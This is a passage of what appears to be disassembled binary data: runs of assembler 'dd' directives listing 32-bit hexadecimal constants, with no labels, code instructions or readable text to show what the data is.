68D8BFCAh, 4408EF66h, 41457E67h dd 99FA0E09h, 2328AE21h, 0BA691236h, 3C24DBBDh, 0C6207D19h dd 0D8EC7E6Ah, 5DE413B8h, 7DB82AF2h, 74E655A1h, 41F14568h dd 4E997D0Ah, 855DE23h, 377D9136h, 0C09F2CF2h, 1A38B755h dd 0BFF3744Eh, 0BFBC5E3Fh, 0B783ABB7h, 0A00ABD73h, 199B8028h dd 8F813CD9h, 16109D6Fh, 3EAFCC02h, 0A850558Ah, 542A89E5h dd 7204D2EBh, 0CFB5D2EFh, 0D8865074h, 9CFB1678h, 9B44BC07h dd 0C5AC3DA2h, 199E0E5Dh, 61040524h, 5CD8604Dh, 7EEE6824h dd 22571D33h, 1A469E01h, 2A66B8CFh, 18971A32h, 28E49B7Fh dd 5DF5BD2h, 7AD72283h, 0BA385D15h, 0C0BA5E78h, 44275081h dd 178F9607h, 439E7CBDh, 3DF03C05h, 0A7C06B00h, 7DFE314Dh dd 5ACA0F5Eh, 0A8A914ABh, 324B967Fh, 0BF46807Fh, 9FFB5CEFh dd 9715BCEEh, 8B042DDDh, 0A3ABE0Fh, 79DA11E2h, 0DAC26B1Eh dd 9E400EFAh, 38FBCCF5h, 3B4B181Dh, 0B91A248Ah, 6549E0A7h dd 0EC846884h, 0A3B7DCCBh, 0ADC75DB3h, 14863013h, 7105923Eh dd 15A7168Fh, 4419592Bh, 0FE3860F4h, 4AA22FDh, 5AA76D0Bh dd 0D34C8B7Bh, 394B5CFEh, 0A09BC09Ch, 9C8FB0Eh, 3BEC51A4h dd 95F09029h, 4AC22978h, 0CFC6851Ch, 67CCBE6h, 8A12AC62h dd 0B831984Dh, 18F8A74Bh, 4ADA56E3h, 63FA2429h, 3052C4BBh dd 0F88D01BEh, 0D2208CAAh, 6FDD05BDh, 1C2361A5h, 0CBEFD560h dd 0FA000F9Ah, 0E327DD3Fh, 0C82534D3h, 0C1F6BF11h, 0DB2ECF4Ah dd 543F4383h, 5DC2EF3Bh, 4A1C2930h, 9A421439h, 0C3D5FC4Fh dd 535F482Ah, 0CFC59924h, 1A9171E5h, 0B1558BDDh, 372EC19Bh dd 0D95B9FB7h, 0CC3A164Ch, 0DA3133Bh, 0B798C48Eh, 9EA84055h dd 0EF75EB5Ah, 80BC0371h, 0FC73998Dh, 21D46BE8h, 3918805h dd 99B2DEFCh, 7187A389h, 0DE82648h, 65D5FB90h, 9706A9E8h dd 23D2753Eh, 9F16B5B1h, 0D0FDCE66h, 525B3B6h, 0BCBA56B3h dd 0F60DAB8Ah, 0E499EC3Bh, 16882C5Bh, 97B938B6h, 64C23ECBh dd 0AEEA3654h, 61528C91h, 11CB2072h, 6C0190CDh, 19A1F787h dd 50B9F0F4h, 0BFA86368h, 86CEB87Ch, 0CD32A712h, 365D7BB8h dd 758204A6h, 4B72CD40h, 6C8D2A24h, 340B7F65h, 422D9819h dd 41FB602Fh, 43E98A52h, 0A123E05Ch, 0D7938FE7h, 0BBB47B44h dd 5D1F2281h, 43A9416Eh, 0A1C889B4h, 8D3515F4h, 0B224B91h dd 0A99C32F6h, 31B0E10h, 9DFC61B1h, 0CC898D33h, 5E7CA297h dd 7487E83h, 0EBFE32CBh, 66A0F857h, 0A6BA7B21h, 786381ABh dd 3B096CC1h, 12B88FC9h, 0F73CB3CCh, 90E30098h, 0C9A223B2h dd 6D5766CBh, 0D3172515h, 48EF4892h, 0F4B7C1B3h, 0D0C0CDA9h dd 0FF3F8631h, 21A3BD23h, 68D297DDh, 0D5E6A02Ah, 944172D2h dd 0E9EA7D2Eh, 0B65A4700h, 0A4147A52h, 5E52C66Eh, 0B1ED07B9h dd 0E26E531Bh, 0C3744BFBh, 6756B346h, 0B71D455Fh, 0F5B34E8h dd 0E4F82149h, 0DE4E5603h, 49683541h, 98F4FA63h, 0FB7E550Eh dd 0A325426Dh, 0CA265FCFh, 0B2A29539h, 8042AEC0h, 1C6FE1DFh dd 8AA1D0BDh, 1B784804h, 7BFD3C9Bh, 0D0647334h, 3D832E0Dh dd 88F63733h, 63D61731h, 0CD82D186h, 6E6DBFD2h, 6C1DD908h dd 447FB9C8h, 384E99EDh, 0DAEF9766h, 7178C962h, 8E548D8Dh dd 5B5BF4DCh, 49CF1566h, 3B1639F9h, 0CDDADD23h, 2FD7BA8Ah dd 2B8F5ABBh, 0F7DE86ECh, 295B8799h, 0A92CCCA8h, 6A56BF5Fh dd 494252E4h, 9A6534F0h, 999AC53Fh, 2A57EA26h, 0AEB59CE2h dd 0BFF0ABA6h, 86E4CCCh, 45542A6Eh, 441E732Eh, 8886ECFFh dd 25508BB7h, 0B385DFACh, 38646E8Bh, 912D15E9h, 5946DE1Ch dd 0C4789EC1h, 0D98AB780h, 8ACA9747h, 0B8604406h, 9F0B733h dd 61D770EAh, 0EA6C5E23h dd 178812EFh, 0DA4F70C5h, 87473E29h, 2F94B5DDh, 0FD9B7426h dd 77A16A3Ah, 72911B49h, 351CCF21h, 51635FEFh, 47EB97CBh dd 1FE2BA40h, 0B80AC07Eh, 0C73ED396h, 0C190DCD0h, 82E941ABh dd 292C8DB7h, 0CD22FFD5h, 719F823Bh, 4867E3ACh, 63B9EAF1h dd 92865C57h, 0D2C8F174h, 0CC3BA38Fh, 0BCEA4B6Bh, 98533B06h dd 3DBA3600h, 0DE47619Bh, 0F3323A25h, 0DA967BBCh, 5EBE3343h dd 0A0F60223h, 490BA47Bh, 1E0CEC64h, 158CDFCFh, 0AD1B2584h dd 89D179E3h, 1FF18B20h, 0A034D242h, 0F7777BACh, 0A7ABA293h dd 9BB84804h, 0ECA1BA6Ch, 0DBD360B3h, 0DFF92B45h, 5C6CB586h dd 0A797C7EFh, 531F73D9h, 0F81C6AB8h, 8225C5F5h, 0C3752ED0h dd 0CEB3B398h, 0BD46FFA1h, 55C31551h, 612F7578h, 20A4A431h dd 0FFA9D93h, 13052DB6h, 0C48571FDh, 9D625FA9h, 90511BE5h dd 0BEDC3566h, 58992D46h, 0CDF61C80h, 92936962h, 3E4C4B77h dd 0E8298E04h, 0D244375Ch, 1BD79DFAh, 0A33EBC5Ch, 0A7681878h dd 9FFE79EEh, 2EF890B1h, 9E69433h, 90CE93A2h, 0D72D9B00h dd 61F1D9DDh, 0DFC464B2h, 35EFB7A4h, 5BF75402h, 89BD7835h dd 7E5947BFh, 7DA3084h, 0B914380h, 0F65A2147h, 0FC88475Dh dd 3395DE83h, 5888D5EDh, 0DAA9EE5Ah, 4BFAD6B9h, 920C471Bh dd 711D4D5Ah, 5A09A97Ah, 7F9F3502h, 96416E7h, 19B6D7AFh dd 7980AB8Eh, 769E4476h, 0DEBEB8BBh, 230BB04Fh, 6684E60Ah dd 4604C6B4h, 0A41DE9F8h, 0AD930259h, 0D26C3573h, 0C713E23Ah dd 0D279AB26h, 30CE54CDh, 0A9895D81h, 91D97CE9h, 0CCCD4FE5h dd 65E184F7h, 0C0AAB436h, 0B5248386h, 2E2584ABh, 296528CDh dd 0B6833DD6h, 4DCACF00h, 1A0EA59Ch, 0C762EBE4h, 76C76640h dd 0B0E49BBh, 8D77B7EAh, 943BBCAFh, 77C28410h, 0E70A5804h dd 1FEFE7D3h, 5E5A5358h, 7A8CCA5Eh, 3D859338h, 943F835Ah dd 27E835ADh, 1A8FEAE1h, 0CCA16444h, 3F62BE12h, 81C77BFh dd 513CD1h, 84212508h, 0A06C4754h, 5A35C166h, 1128D33Dh dd 0E1907A42h, 87074FC9h, 9BB61128h, 0E1264FD8h, 9B3CD0DAh dd 0F10826EEh, 0BA1B544Dh, 7D001B0Ah, 0F6BC2D09h, 8AEB516Ah dd 9D72DD78h, 0DEDA9191h, 7C4C035Ch, 9C48EFF6h, 38E50B45h dd 481A47B1h, 73A29F52h, 0EC048B63h, 9FB85688h, 61E9B04Fh dd 5F886415h, 207F37FDh, 7E34A65Bh, 8DBE77E1h, 14F280B3h dd 4F658242h, 8D34A91Ah, 0DF8B8932h, 84C8C5EAh, 0D98CAC3Ch dd 1A4ACE32h, 0B79581Bh, 0FE94A053h, 0F327684Dh, 4E094121h dd 8A23EC3Dh, 7DF63BFh, 0C98C0D8Ch, 8C078CEEh, 3FBA4E0Fh dd 0FB3E17Fh, 9A80505Fh, 8B96B2B4h, 0C2299B7Dh, 5315206Ch dd 34F4728h, 0A2838C10h, 1817D5DAh, 3E8ABDC1h, 87922435h dd 46A03494h, 84F0088Bh, 3FBFB33Ch, 5B314562h, 0B73EA347h dd 49975FBCh, 87200132h, 0ACAE468Bh, 7DEAEFA3h, 3A9A75FDh dd 32016A09h, 3FAB9AF2h, 47861AC3h, 889B7249h, 5DA2F16Bh dd 0B4529B2h, 45E454A6h, 0E78A44B6h, 2876394Eh, 2425EE77h dd 0D02257E6h, 0D397867Eh, 29040AB3h, 17331D20h, 0E5889309h dd 0EBCD79BBh, 3E7A29DAh, 6587152h, 5A31F47Ah, 0C202FB9Fh dd 7DB78916h, 4287C083h, 580ACBC4h, 0CCDDCCABh, 2B5E8E19h dd 0F90CE402h, 2004CFFDh, 0DB2B9620h, 0E1C1A65Bh, 64103F25h dd 0E0C38B19h, 58765846h, 3DACD750h, 26C7FDC4h, 707758C7h dd 5F1E492Fh, 78DF29CBh, 5A29F448h, 8E6F9FDEh, 90B6748Ch dd 8AE32946h, 0E0998F5Ch, 4C7915EEh, 83674DE5h, 532D2E82h dd 2D9A926Ah, 22D0E285h, 3765F74Fh, 3C18C520h, 1BB63C9h dd 0B88F041Ch, 63F652h, 18F6314Dh, 0EE9369C6h, 0F12C2C35h dd 0AA791BDAh, 32CFDA58h, 742A0B84h, 612B92Ah, 2B9634B9h dd 65DAE0FFh, 6E18F070h, 65C26048h, 0E2F30C2Eh, 7BC8A35Ah dd 36E9F2ECh, 0C1F3F55Ah, 3F6343E8h, 0D3CA744Dh, 0E8B2208Dh dd 5A28B4D8h, 48D65840h, 0DF633779h, 4EED71D2h, 0A05915E6h dd 5A0EE9A0h, 0ECC306BEh, 0BED895E4h, 513E254Ch, 0BC852E44h dd 0BDDDB23Dh, 0FECEB940h, 71FCB67Bh, 0F6C7C419h, 0B9B04B32h dd 37ADA105h, 0A6979940h, 0F0D8504Eh, 4566FC72h, 0A5990C6Ah dd 5D0F55E4h, 4635FFD6h, 0D31B96B4h, 0B8B886F9h, 9FE91ABDh dd 208495C8h, 0C928D209h, 672717A6h, 0E836D602h, 2145A4EEh dd 96A35BC9h, 83593BD0h, 0F2F4486Eh, 8940B7D9h, 0AB3FE739h dd 803D926h, 0A3D55AE9h, 0BFBF5C40h, 0E4EF3E80h, 42CDAE76h dd 0B550EA84h, 61A105D1h, 14D2A466h, 0A152A87Fh, 3D23A7C7h dd 0F2FE1B81h, 0DB4991F5h, 0FBB5AF26h, 15695EC5h, 0D62229AFh dd 33E653BEh, 14C8D288h, 7644D595h, 0BB048990h, 8F71C6E3h dd 3649B6E0h, 99982971h, 7D6AD21Bh, 4F74C535h, 1FF02729h dd 0D6F8C3A2h, 1035F98h, 1E9C7A31h, 0FA680080h, 5EA0E031h dd 6FB8556Bh, 8956645Fh, 2FD7DB8Eh, 8F52BE08h, 81549FFCh dd 7974AE99h, 94DB8286h, 72A8B3B5h, 0ED14E6C8h, 0E01FF01Eh dd 1EFC5F7h, 131DEF8Dh, 436956ECh, 0C45D152Eh, 0B3152F87h dd 14C0B962h, 1D8E30A0h, 68A03796h, 0A41D4929h, 80925499h dd 9467D84Eh, 0E8C00EEh, 30C4086Eh, 0FCE287FFh, 6B676E9Eh dd 0EB0CB417h, 0A43C17C4h, 0C08432C8h, 6A5B41E9h, 8158BA80h dd 4CC69431h, 2DA5F365h, 7439699Ah, 617BC423h, 0A52AFD6Fh dd 2C741E41h, 45C8FC6Ah, 371412BFh, 0E94740C3h, 0DFA0B453h dd 0FA1F3AA1h, 9DB19484h, 2F95FFFEh, 0CDBDDED1h, 0F2890B22h dd 0ADD3527h, 26505695h, 0FD36AD7Dh, 2108932Ah, 0A8F145EDh dd 0C398FC2Ch, 7C6C9287h, 0DC23A50Bh, 7EE255B9h, 50E39472h dd 602B3754h, 8199DB7Ch, 0A8D35F64h, 6B0F1A07h, 31BC5129h dd 12A07949h, 0C49F0A4Fh, 76030807h, 536C0935h, 1536A0E1h dd 942BA4C6h, 6E56F37Fh, 77E12074h, 0C95CE5EAh, 422D26F9h dd 0F3227C1h, 6A17C6A3h, 24BB0413h, 0C2F61B5Ah, 880C2237h dd 4E0B5F69h, 452F5948h, 64DD90AEh, 41FD55BBh, 386B289h dd 0EDB3E91Fh, 3E09AB06h, 84FE8871h, 58837722h, 1560483Fh dd 13BF02E6h, 75ACAC84h, 65A43510h, 1412BB8h, 0EF0D0F0Fh dd 0EA90090Dh, 8EA38F94h, 7BC8FA3Ch, 2BA8A66Eh, 76063FF5h dd 52083119h, 3A46809Eh, 9EB59F2h, 0C97D4C21h, 0E00A2EA6h dd 39CEB890h, 147DEDCFh, 549A8EE7h, 93B73100h, 0B04C2515h dd 0C44FF5C3h, 0CD8F4E94h, 76CCC0F5h, 837CA94Eh, 0D68667C3h dd 84E8B424h, 0BF23477Eh, 67C48128h, 9C5DED76h, 305D0543h dd 25A159D5h, 0A3E19C48h, 0B8DF6E4Fh, 144A4919h, 42B62A83h dd 0EA540228h, 6F0C2F50h, 9D4D4954h, 0F1653F0Dh, 82B345B1h dd 0EF23FC99h, 0FF0C9DA2h, 9A22C56h, 7DE43C0Ch, 1A7AFEFBh dd 56E6B3E5h, 71C998FFh, 80D081CBh, 0A4B252F2h, 2F572DA6h dd 52A94B6Bh, 10BF8A7Bh, 0DCB9FB85h, 977C24DEh, 0EC4ADC8h dd 0AD367F2Dh, 0A174907Dh, 0C1092B82h, 3CB3B2D9h, 7DE939F6h dd 0B435A2DDh, 62FC32Dh, 2C86912Eh, 4ACF331Ah, 0DA88D2C4h dd 9642CE1Fh, 24BC788Ah, 0A48C9D73h, 74780F56h, 7A6D5AF3h dd 0B04A3F50h, 0D88BA7A6h, 0F332D3C7h, 0D3F85C69h, 0E6E82D5Fh dd 0A12ABD03h, 0C044E565h, 8BF2F95Dh, 315B5FA7h, 0D2BB7A1Ah dd 0C30D7D30h, 0C29B8718h, 0F2D96E25h, 6D099A10h, 2B1AFB79h dd 0E6444868h, 5659DB2Dh, 217FD20Bh, 3DA46EBDh, 0B2F6E9F0h dd 0A0ABB208h, 7AAAF723h dd 55C4BFD8h, 7D8D0D16h, 6FA5A16Dh, 3A19E38Eh, 0FF202F3h dd 1D2E4A8Bh, 8FF28434h, 0A9F2BFE8h, 8430DA0Dh, 6D3F510Dh dd 0CFB921E6h, 463B20B2h, 0D6FBEC15h, 3AB49225h, 0F04DD126h dd 0AF1CBB94h, 0FF739189h, 0C5750D07h, 456F84CCh, 6BCC0208h dd 8753CE26h, 9D0FDA00h, 0AE05DC73h, 7A638238h, 167986E3h dd 0C171FE38h, 0EFAFA6D7h, 33E9BE58h, 0C4B457C5h, 0B93E6B5Eh dd 6104C5D4h, 0B7517B8Eh, 0CFECD35Bh, 3581E3C5h, 9883ED44h dd 0DA333D32h, 0DB64FA9h, 0A6A2D6DFh, 3153D12Bh, 8E4A0C6Eh dd 9BDC30C9h, 1C2817E3h, 0C7A0ACD8h, 24740ABCh, 96C75A4Bh dd 0C166A438h, 4D9129CBh, 7B26A33Bh, 4FD23FFFh, 0A36C7B25h dd 4E536578h, 3CDE93A7h, 0BBCE2583h, 75318C3Eh, 0CBFDE1BBh dd 0E9669C30h, 18CC78A9h, 0BCBACF4Ah, 6E9EDD67h, 91188B0Dh dd 136E8A73h, 637269C9h, 0C48F4985h, 8348B0A9h, 0CE8E5630h dd 4EA1CE05h, 5CA1EED3h, 352CF75Bh, 0DB8759B8h, 0AA088EC9h dd 32E2537h, 0BE6FD699h, 84D71D15h, 0E607F678h, 236793CCh dd 0B2EFD41Ch, 5BA3CDE3h, 8D09A43Ch, 241B4644h, 31F34CCBh dd 0BDE9502Bh, 6F81E36Fh, 534D0C3h, 3135D454h, 0EDEE56C4h dd 382A6126h, 0A424246Ch, 6EFA97F5h, 15F89104h, 0D79EC21Ch dd 7BEF65E7h, 0E944593Dh, 65ADB903h, 16FDEB8Eh, 0CEBBB70Eh dd 17704974h, 0C01755F9h, 0ABC4F43Dh, 94DB18D1h, 498EA030h dd 9A54E048h, 4AB49A08h, 0D22A6ED5h, 0EABD647Dh, 3FFC2F06h dd 0AD0928C7h, 17E43669h, 4E0A7AA6h, 762EDB37h, 9684A63Bh dd 92A38164h, 0A795AFB4h, 73682735h, 2E805AD6h, 2D47EDEBh dd 0F4C58927h, 6E19420Bh, 142AC11Fh, 528ECC7Dh, 872ED20Fh dd 2CC618F5h, 48F3B40Ah, 25591401h, 158E9EA0h, 8ECF2E05h dd 421EC9DBh, 1A116B21h, 0CAFD0D29h, 5758FAF2h, 5F235947h dd 692C7361h, 9DA92F03h, 8FB4DDEBh, 6094CC05h, 6EC893FFh dd 0CE5D8C18h, 6A18A0A0h, 6941684Bh, 0CD98CCBCh, 0CEA1B02Ch dd 0E1C59C03h, 837FE080h, 0EBA0AEAEh, 9D85B4BAh, 0CCDB38CCh dd 4457FC9Fh, 0B0332E91h, 8D26DC4h, 20B4E6BEh, 0E9064368h dd 4DB6DE0h, 71334E8Dh, 86DECC3Dh, 0E0BD13C7h, 59CE1A11h dd 591DD31Ah, 90FF5FD4h, 28DC203Bh, 0D1C36FC5h, 0AC1476AEh dd 482035E0h, 0DAB718E1h, 1B9F7E38h, 0B81A9C16h, 0FAE1BADBh dd 0C55C67FDh, 312A596Dh, 0FA0B2D6Bh, 576CD127h, 0EF6DF6F6h dd 21C3465Ah, 7434D9A1h, 52C82E31h, 1FEF48F5h, 38EC1AF2h dd 7CBDB9A4h, 161715C9h, 1B8A53CDh, 7B69ECC5h, 1CD3CCEEh dd 5C79F63Dh, 0C811ECDAh, 0F20A4426h, 7310B5C8h, 0ACD92C83h dd 0C7E9F12Ah, 4B1B180h, 0DBE43981h, 0E7CFEDDAh, 0D8B35159h dd 0FBB3EF25h, 7BE98371h, 0B71DCAE6h, 7AA72F02h, 0E4186586h dd 0FE8D3EEAh, 27FEDE99h, 406924EEh, 0EEB947Dh, 0D83C268Ah dd 97285188h, 0A32A50E4h, 4411A966h, 0A4F06088h, 9FD0B58Dh dd 0B04F3320h, 0F543B0F3h, 6AC198AEh, 0B43A9748h, 0B9BCEC31h dd 33E35593h, 77707F93h, 0D282FE3Bh, 0C39603FDh, 5A83A6C8h dd 0CA73DC88h, 0D837FD6Bh, 0E7124369h, 54D291EBh, 0FD9F8575h dd 0D0214776h, 38A49CDEh, 7ED984F3h, 377200F5h, 6EC17D08h dd 766760C5h, 0BE4F4D6Ch, 889812C4h, 240C0E60h, 426A6E6Fh dd 8D2E89D9h, 0E653F91Ah, 8EEC9E6h, 40D8A91Bh, 256B9CC3h dd 18CDAC7Eh, 0CD12D375h, 0EB5B1A6Ah, 99389239h, 63D3899Ah dd 0B5FFD45Fh, 0B364E314h, 0D1E7750Dh, 8EFFEA9Eh, 30FCB6B9h dd 0C6461EAAh, 2E8B1D53h, 9E37E56Ch, 0B7A2454Bh, 567192D6h dd 0E1E689F6h, 0BC16EB59h, 6E40C0C6h, 0DB56137Dh, 2A08D83Bh dd 51C073CCh, 2D55681Dh, 0FFCE99B2h, 253D419h, 885B175Dh dd 0A7294041h, 6F79900Fh, 0CC87C334h, 2C0EB40Ah, 50484E6h dd 8EEAC609h, 34577BABh, 0DDBA706h, 0FA006EB1h, 15000A35h dd 0FEDA2C2h, 0D4A2FF9h, 0C280A259h, 0A88E1AFCh, 6AAC14B9h dd 69DDD0F5h, 9ADE5302h, 0A67AC3E2h, 8822158Ah, 82DB8A30h dd 23E98A1Ah, 936E4D9Ah, 5DA9BE6Ch, 88BCC6E3h, 0D229720Fh dd 3A78520h, 43AC8BCFh, 5B08332Bh, 0D7EFB5A5h, 65337190h dd 2CF57628h, 8F77F4B4h, 0D7E3495Dh, 2E860660h, 0F020468Ch dd 0DD195DE7h, 4E5DC6F8h, 28DBF044h, 6546EA47h, 431FFD10h dd 91116055h, 0C4A4FC5Ch, 8D9F077Ah, 304354A5h, 0C933A4C8h dd 4BB96184h, 0D2B1113Fh, 8A185195h, 5D7CE893h, 22F8E1D6h dd 0D996D5F0h, 56CFD63Eh, 0DAB2362Ah, 76D89CB3h, 51E79F9Ah dd 313E6F0Ah, 36E2AA0Eh, 347055E5h, 6A59FA19h, 976A016Dh dd 0F92600B0h, 63EE9C5Fh, 12D48954h, 0A48F4772h, 11D5BF9Dh dd 55C017D0h, 0D66AE770h, 386D3B91h, 0C3E5CE6h, 7A9C7095h dd 0E450AC6Bh, 0E6DD1D33h, 9667F52Eh, 49E41AF4h, 0ED0EBC47h dd 62F492BFh, 10FCA45Ch, 993CEAB5h, 5B569882h, 23D4507Dh dd 1E97C8A7h, 6F4C98B3h, 22E651Ch, 4E676312h, 9C11B3DFh dd 915F9B1Bh, 4F9243D5h, 0EFD4969h, 0EFFDEA03h, 0E6FBD131h dd 544C789h, 0D3E857ADh, 9B4B973h, 0BF3450E9h, 37F90601h dd 0D5DB012Ch, 0C4094BB1h, 17C63E87h, 38BE7A69h, 4D948BADh dd 3E49FCFAh, 6A58D3D4h, 52D1FD37h, 0C18EFDD9h, 0A62B809h dd 0E05CB568h, 30752530h, 0A56F502Dh, 83E0E93Ah, 0F216CBBBh dd 0D7D2C574h, 0C99F9889h, 0B650E2F2h, 0BB7E4F97h, 0ADA211ACh dd 10C3C2AAh, 0AE70AC7Fh, 8F297227h, 0A3F1852h, 2E83F27h dd 0ECD0766Dh, 0C1801BD8h, 888DF106h, 78E8F14Bh, 0CE175852h dd 0BD88A382h, 5DACA308h, 669A6F86h, 5A2B85CEh, 3CD72817h dd 36AC9D98h, 712E114Ah, 7FB721BEh, 3BD34F5Eh, 98BDA9C6h dd 4D219F30h, 213A602Eh, 0A65B3537h, 0C306B632h, 846006BFh dd 0EDC423F2h, 8DAE5E12h, 0AC737DF5h, 0D8BC4EAEh, 0C56E2EAh dd 0AE4B4AD5h, 1906353Ch, 0C26BAA6Ah, 15C55C4Dh, 6ACD805Dh dd 0FE1D9761h, 0AB09A9FEh, 9AA4597Eh, 0FDCB3579h, 58961767h dd 0A41AFD4Eh, 3DD1EA3h, 0B654D2B4h, 0BF54116Eh, 9A563823h dd 112EA417h, 0B551370Ch, 60E4B569h, 8DCD0606h, 0FD5249CCh dd 0C77411B9h, 8CEE22C3h, 0F3420EE9h, 0B5FEBEB8h, 2325E89Dh dd 17855743h, 0B5EB9BECh, 48218C14h, 312027C3h, 3D7721B4h dd 0A2828C93h, 867435E9h, 2C7C25C8h, 0D9FC69B0h, 0E80425Fh dd 514B5447h, 79BA3DD6h, 5514F276h, 0CA359E3Fh, 707E9AE1h dd 468CFF21h, 17AB895Dh, 0AEBB15F2h, 7BBB355Dh, 0DF5819FAh dd 0EDEE0C14h, 5727343Dh, 7E60C5Dh, 9D816817h, 7059E9Bh dd 68B86018h, 492E7119h, 339F3275h, 0A0BAF28h, 4A56EF03h dd 0FF4DDE14h, 0C25B7374h, 0D34F968Eh, 449F9AA0h, 2FA7F10Dh dd 16BFB8F1h, 1A03BB69h, 9A305E48h, 71DE3E12h, 0DCD384E8h dd 3686186Dh, 0CB278F39h, 5C4A9B9Bh, 72D6E7B1h, 468AFC61h dd 0F629EFFh, 0C977FEC5h, 0A28D299Ah, 0AAAF336h, 0F1A0D72Ah dd 36EA2C43h, 0AF4D9527h, 3997CC92h, 0A4B747E5h, 0BB5F1FC2h dd 20422DB4h, 65521840h, 0D12CB0E1h, 0E9EA62C7h, 2D01D8A6h dd 0EB30860Ah, 0FC9C0B53h, 9518BE30h, 7BE7E72Ch, 0DC96EB90h dd 48C13BA5h, 9EF53393h, 0A1696329h, 0B371B036h, 8CEA83F4h dd 0FD8E7FF0h, 94DD55B9h, 41BA7039h, 0B23B309Bh, 0FCDE54B4h dd 6FD70AF7h, 0E4DAD4Eh, 0AD1EA586h, 2362D34h, 0FB6C2E42h dd 0F8FCD8ACh, 0D7D2C0DBh dd 0FD86F95Fh, 7A89E306h, 1C50EF69h, 0A77392FEh, 99F5726Bh dd 0DB243D75h, 9297B53h, 9C600839h, 82D8DB38h, 0B0229884h dd 18329DF3h, 8F1E2AE6h, 2EE9646h, 886ADC78h, 7E6E7255h dd 0F7E48258h, 0B0FEC804h, 64072855h, 0ACD0C709h, 0C5C9697Dh dd 7B32332h, 6F6CC2CDh, 23A7C464h, 0EAE7BE7Fh, 2B6A019Ch dd 60692C68h, 0DD7E16F0h, 745839C1h, 96BD9FE8h, 8B4E176Bh dd 702D5B83h, 75918E7Eh, 67684B50h, 0AB090F7Eh, 2AFCE3FEh dd 0BF5561E7h, 8C050692h, 0A65190CCh, 4998F03Bh, 45A77CC6h dd 0E73215BBh, 8D8D5630h, 0FFC677D5h, 3A5BA24Eh, 7BD11610h dd 0F672DCE0h, 3FED9022h, 7CEFB6ECh, 0EDB67754h, 0D027703h dd 3DB131BEh, 8CBE8638h, 3AD4E0E9h, 0F6F9DD06h, 0DD989FC3h dd 7A0F9CC2h, 8B26334Fh, 0A6362EAEh, 1E1BB84Fh, 0A567A0A9h dd 0C7224086h, 0C9CFF2EEh, 0B71E59CAh, 0CB7B7029h, 8642488Ah dd 30743DBEh, 0A8B63085h, 0B059154Bh, 3EEBCBEh, 0DF6112C0h dd 0A1C1FA8Fh, 0EF6685F5h, 23C3F5D0h, 255B118Bh, 0F739DE29h dd 7776A105h, 9508EF19h, 318A8669h, 71BCB524h, 0AE8AC362h dd 0F131C6DCh, 0D94D0868h, 0A9F46CEh, 49E6785Eh, 0DD5B9BECh dd 2DB2EBCDh, 0DF2FAA7Ah, 7E421380h, 732A77Dh, 0C2F1B4EAh dd 68C636AFh, 0BC7B0B4Ch, 70F1FDC9h, 9010424h, 7098FB09h dd 0E83677D7h, 78786D23h, 67534F6Ch, 4E3D1C0Eh, 46428BC0h dd 55AC31A6h, 0CF8A0718h, 0EBBADAD8h, 635BD90Eh, 5DD9B104h dd 555E2CCBh, 3CD62F16h, 1C9016Ch, 0D97DDF3Fh, 0D051D7C4h dd 5BB43A23h, 0CFC24515h, 17E73D6Bh, 5A15EABAh, 0B53E2D03h dd 436803D7h, 0C2978BC8h, 0FCEF9953h, 94DDBC4Fh, 9236A918h dd 0E066BFC1h, 7ACC7BAFh, 0E9300D6Ah, 0F8D65502h, 6EF13EEFh dd 0C75F0FFEh, 67E1BF69h, 4C4C3B75h, 5AEA587h, 546049C2h dd 20DA3400h, 539798B1h, 0C7878B13h, 0D40F350Eh, 50A95F53h dd 85DCEE75h, 0B9B25602h, 112BCC5Fh, 0C854CE6Bh, 0D25DDDBCh dd 0C92728D6h, 0D267F790h, 0D777B680h, 8EE0F082h, 93361761h dd 48D86725h, 5836AB3Ch, 0D8B0D6ECh, 55BB47Ch, 87CA6A7Ah dd 9DD3469Eh, 3A67223Ch, 3764C1BCh, 0CFDA2B24h, 9763E519h dd 0B5FB8FFBh, 561B0858h, 150C6D71h, 89C117C5h, 0FB6C1EC3h dd 0D13E92F4h, 0ABE70A00h, 790534D7h, 3E90B8B3h, 9227C8E4h dd 0F9495E4Ah, 62C84E37h, 0FFD7F856h, 0B6D155BDh, 3BA6D582h dd 2F1079E8h, 6A5408A8h, 0C5E4BA93h, 711D535Fh, 15216F40h dd 43751ADFh, 0F7C26AF5h, 33C49676h, 59ABFEB6h, 1FCD3EDEh dd 42736160h, 1C44BE3Bh, 1AE080EEh, 7CA28E2Bh, 0F665CA6Ch dd 0EF4FF6AFh, 1520A13Ch, 44090345h, 6EB9A5ECh, 85A4D69Fh dd 0D4254FF1h, 6829FE14h, 0A4947D5Fh, 9478D034h, 80529DCFh dd 0C112F95Ah, 200608Ch, 0F530C6D1h, 0DB8BAADh, 485D392Dh dd 93F3E6D6h, 947A0378h, 8856454Ch, 0E5DD9D3Ch, 618D5AFCh dd 7A44BE17h, 1068B7C5h, 1D0B4AFCh, 42E30E55h, 0A8537Eh dd 6454480Ch, 0FADDDBEAh, 34E57897h, 986FAA7Ch, 95C1415Bh dd 25113066h, 0A66BCB9Fh, 0DB93D2DAh, 5508578Ch, 9FFA8602h dd 0B5945209h, 2B3F2511h, 2DBE1434h, 3F70CEA5h, 0F0B6C1DDh dd 6E94904Ch, 7F73D14Bh, 9B492C50h, 59B21731h, 0B02C6259h dd 0F8742E1Eh, 47D8BB85h, 8D407FF0h, 0A6B28623h, 437E5048h dd 0B3B8AE7Fh, 19DE1389h, 0C6C42EDBh, 0AC4818BAh, 0C521AFAFh dd 562B20Dh, 0A6ED334Ah, 0B9C3FB22h, 0B3E337D9h, 0A0825356h dd 9A2504E5h, 0EC7AD266h, 7E82A920h, 0AC0B13Ch, 6B69AE07h dd 9B5127Eh, 0C34D05BEh, 0E0B3B6CCh, 0C292AD0h, 8BBF1554h dd 25ACD3DBh, 35ADE71Fh, 0F1D7B8C4h, 775EFDE9h, 33B009D0h dd 7527B939h, 0A94E6882h, 3DBFA3E1h, 83A36EF0h, 973D6310h dd 0BB716EB4h, 0F8E6606Fh, 5F150F4Eh, 0B02B1B0Fh, 0AD43B6A3h dd 6F461A3Eh, 1023D751h, 20DC22FAh, 5D711FD5h, 0FAF97D0Ch dd 0DD63D82Bh, 71D1A093h, 0C53A212Dh, 0AB2376F3h, 27BEE762h dd 0D4EC2AC8h, 9775378Dh, 2B22AA28h, 0B171BD2Fh, 1FEF04D4h dd 4FCDE462h, 0D2028D09h, 513F1C0Bh, 4B4B50D9h, 0F460B9E4h dd 7F6DC16Eh, 0FE6D9644h, 0B6D7B596h, 0BFF583B2h, 389FBF8h dd 500E7681h, 0C547D517h, 94EFAEB3h, 0D9EFF5D4h, 